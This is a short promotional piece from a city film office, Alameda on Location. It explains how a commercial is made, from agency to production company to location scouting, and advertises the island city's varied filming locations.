Locations Take the Lead in Productions


Yes, the director really does say that, and those three little words elicit a round of applause on par with that heard at Davis Symphony Hall. And then it’s back to work making the location look as if the production was never there.

But everything has a beginning, and productions are no exception. So for the curious: a brief explanation we shall call The Birth of a Commercial.

A company decides to make a commercial and either has an in-house group that can produce it or, more often than not, hires an advertising agency to create a script. That agency then looks around for someone to shoot what they have written, namely a production company. In fact, more and more production companies are being hired to create the entire project from zero. Such is the talent among us. Once the idea is firmly in place,   a location is needed and that is where Alameda on Location steps in.

We field calls from location scouts and producers for all sorts of requests: do you have a tree-lined street that we can drive a bus through? Sure! Do we have an exterior fire escape that has a Brooklyn feel to it? Yep!  How about a community garden? Copy that! A coffee house?

Of course we do! We might be an island, but we are a CITY-island first founded in 1853. With architecture spanning the decades, we’ve got what you are looking for.

And if we don’t have it then we will find it for you… and wrap THAT up for you with smile:-)
